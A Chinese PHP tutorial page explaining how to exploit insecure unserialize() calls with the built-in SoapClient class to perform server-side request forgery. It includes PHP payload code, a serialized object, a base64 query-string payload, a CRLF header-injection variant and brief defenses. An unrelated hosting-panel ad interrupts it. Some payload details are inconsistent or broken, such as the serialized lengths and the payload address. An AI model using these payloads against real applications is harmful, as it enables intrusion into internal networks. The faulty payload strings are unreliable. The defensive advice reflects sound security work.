PHP反序列化漏洞怎么用SoapClient发起攻击-php教程-PHP中文网

SoapClient反序列化SSRF攻击无需自定义类，只需可控反序列化输入和SoapClient可用；当wsdl=null且设置location/uri时，调用不存在方法触发__call向指定地址发POST请求。

php反序列化漏洞怎么用soapclient发起攻击

PHP反序列化漏洞利用 SoapClient 发起攻击，核心在于绕过自定义类依赖，直接使用PHP内置原生类构造POP链，实现SSRF（服务端请求伪造）。它不需要目标代码中存在危险的用户类，只要满足“反序列化可控输入”+“SoapClient 类可用”两个条件，就能触发。

SoapClient 是什么？为什么能被利用？

SoapClient 是PHP内置的SOAP客户端类，用于调用远程Web Service。它的构造函数接受一个 $wsdl 参数（WSDL地址）和一个 $options 数组。关键点在于：

当 $wsdl = null 时，SoapClient 不会加载WSDL，但仍可正常使用；
若设置了 'location' 和 'uri' 选项，调用任意不存在的方法（如 __call）时，会向 location 发起POST请求，内容为基于 uri 构造的SOAP XML；
__call 是魔术方法，在反序列化后对象被当作“调用不存在方法”使用时自动触发 —— 这正是攻击入口。

所以攻击链是：
反序列化 → 构造 SoapClient 对象 → 触发 __call() → 向内网或指定地址发HTTP请求

攻击步骤简明说明

第一步：确认环境支持
- 目标PHP版本 ≥ 5.3.0（SoapClient 存在）
- soap 扩展已启用（可通过 phpinfo() 或 extension_loaded('soap') 检查）
- 存在反序列化点（如 unserialize($_GET['data'])）
第二步：构造恶意序列化字符串

$payload = new SoapClient(null, [
    'location' => 'http://127.0.0.1:8080/ssrf',
    'uri'      => 'http://test.com'
]);
// 触发 __call 需要“调用一个不存在的方法”，例如：
// $payload->abc();
// 但反序列化本身不触发；需在后续代码中调用任意方法（如 echo、print_r、拼接字符串等）

序列化后类似：

O:10:"SoapClient":3:{s:3:"uri";s:15:"http://test.com";s:9:"location";s:26:"http://127.0.0.1:8080/ssrf";s:6:"_cookies";a:0:{}}

⚠️ 注意：实际构造时需处理属性可见性（SoapClient 属性为 protected），序列化字符串中 location 和 uri 的键名应为 \0*\0location 和 \0*\0uri（即 %00%2A%00location URL编码形式），否则反序列化失败。

第三步：让 __call 被触发

反序列化本身不会立刻发请求。必须在反序列化后，对对象执行一次方法调用，例如：

btpanel phpsite 宝塔面板PHP网站

宝塔面板 PHP 网站管理：站点创建、删除、启停、PHP 版本切换、域名管理、SSL证书管理、伪静态管理、数据库管理

下载

$obj = unserialize($user_input);
echo $obj; // 触发 __toString()？不，SoapClient 没有 __toString
$obj->notExistMethod(); // 显式调用 → 触发 __call → 发起 SSRF

更常见的是：应用代码中已有类似 $obj->getData() 或 strval($obj) 等操作，而你控制的 $obj 正好是 SoapClient 实例 —— 这就构成了隐式触发。

典型利用场景示例

假设存在如下漏洞代码：

$data = $_GET['input'];
$obj = unserialize(base64_decode($data));
if (isset($obj->callback)) {
    $obj->callback(); // 如果 $obj 是 SoapClient，这里会报错但已触发 __call
}

你发送：

?input=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MTU6Imh0dHA6Ly90ZXN0LmNvbSI7czo5OiJsb2NhdGlvbiI7czoyNjoiODAuODAuODAuODo4MDgwL3NzcmYiO3M6NToiX2Nvb2tpZXMiO2E6MDp7fX0=

解码后是合法 SoapClient 序列化数据，当执行 $obj->callback() 时，因 callback 方法不存在，自动进入 __call，向 80.80.80.8:8080/ssrf 发起POST请求。

高级技巧：配合CRLF注入打内网

SoapClient 的 location 支持协议+主机+路径，但若后端使用 cURL 或 file_get_contents 发起请求，还可进一步注入HTTP头（如 Host、Cookie），前提是 location 值可控且解析逻辑存在缺陷。例如：

'location' => "http://vuln.com\r\nHost: admin.internal\r\nX-Forwarded-For: 127.0.0.1"

虽然原生 SoapClient 不直接支持CRLF注入，但在某些封装逻辑或低版本PHP中，结合其他类（如 Phar + filter 伪协议）可组合利用。

防御建议（针对此利用方式）

永远不反序列化不可信输入 —— 这是最根本的防线；
使用 unserialize($data, ['allowed_classes' => false])（PHP 7.4+）彻底禁用对象反序列化；
替代方案优先用 json_encode/json_decode，它不触发任何魔术方法；
禁用或限制 soap 扩展（如无SOAP业务需求）；
Web服务器层限制出站请求（如iptables、防火墙策略），尤其禁止访问 127.0.0.1、内网段；
对所有传入数据做白名单校验，拒绝含 O:、C:、S: 等序列化标识符的字符串。

不复杂但容易忽略。

php免费学习视频：立即使用
踏上前端学习之旅，开启通往精通之路！从前端基础到项目实战，循序渐进，一步一个脚印，迈向巅峰！